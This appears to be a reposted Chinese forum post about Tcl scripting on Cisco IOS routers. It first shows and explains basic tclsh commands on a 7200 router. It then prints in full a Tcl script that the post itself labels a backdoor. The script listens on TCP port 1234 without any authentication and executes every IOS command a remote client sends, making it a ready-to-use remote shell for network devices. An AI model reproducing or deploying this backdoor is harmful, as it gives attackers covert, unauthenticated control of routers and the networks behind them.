写一些思科的路由的命令吧!
1.写在前面的废话:
其实Cisco IOS 从12.3(2)T 开始就支持TCL脚本了,下面在7200路由器的12.4 IOS 来试验一下TCL脚本。

Router>
Router>enable
Router#tclsh
Router(tcl)#puts $tcl_version
8.3
Router(tcl)#package names
tbcload Tcl
Router(tcl)#info commands
tell socket subst open eof pwd glob list exec pid snmp_getone time eval lrange t
cl_trace fblocked lsearch gets case lappend proc break variable llength return l
insert snmp_getid error catch clock info split array if log_user fconfigure conc
at join lreplace snmp_setany source fcopy global switch snmp_getbulk update clos
e cd for file append format read package set binary namespace scan verify_signat
ure seek while flush after vwait snmp_getnext typeahead uplevel continue hostnam
e ios_config foreach rename fileevent regexp upvar unset encoding expr load regs
ub interp history puts incr lindex lsort string
Router(tcl)#

现在一条一条的解释上面的命令及其输出:


使用 enable 命令进入特权 EXEC 模式。
使用 tclsh 命令进入 Tcl Shell 命令行,现在可以输入 Tcl 指令了。
使用 puts $tcl_version 打印当前 Tcl 版本。puts 是 Tcl 指令,相当于 C 语言中的 printf,而 $tcl_version 是 Tcl 的一个公共变量。
使用 package names 命令列出当前系统中已安装的 Tcl 扩展。要注意的一个扩展是 tbcload,Tcl 源代码被 tclcompiler 编译加密为 *.tbc 文件后,需要用此扩展来解释执行。
使用 info commands 命令来列出当前 Tcl 解释器支持的关键字。可以看到 if、for、foreach 等循环指令,操作文件与目录的 file、open、seek、read 等指令,基本的数据结构 list、array、哈希表等,字符串操作与正则表达式等等都被支持。有这样的阵容,编写强大的、全功能的 Cisco Tcl 脚本将十分方便。
2.Cisco设备写TCL Shell方法:


TCL脚本后门语法高亮显示如下图: 

Source Code 如下:

# TclShell.tcl v0.1 by Andy Davis, IRM 2007
#
# IRM accepts no responsibility for the misuse of this code
# It is provided for demonstration purposes only
proc callback {sock addr port} {
fconfigure $sock -translation lf -buffering line
puts $sock ” ”
puts $sock “————————————-”
puts $sock “TclShell v0.1 by Andy Davis, IRM 2007″
puts $sock “————————————-”
puts $sock ” ”
set response [exec "sh ver | inc IOS"]
puts $sock $response
set response [exec "sh priv"]
puts $sock $response
puts $sock ” ”
puts $sock “Enter IOS command:”
fileevent $sock readable [list echo $sock]
}
proc echo {sock} {
global var
if {[eof $sock] || [catch {gets $sock line}]} {
} else {
set response [exec "$line"]
puts $sock $response
}
}
set port 1234
set sh [socket -server callback $port]
vwait var
close $sh

3.我没什么好说的啦!
转载到:[url=http://www.nengdongyingyu.org ]http://www.nengdongyingyu.org [/url]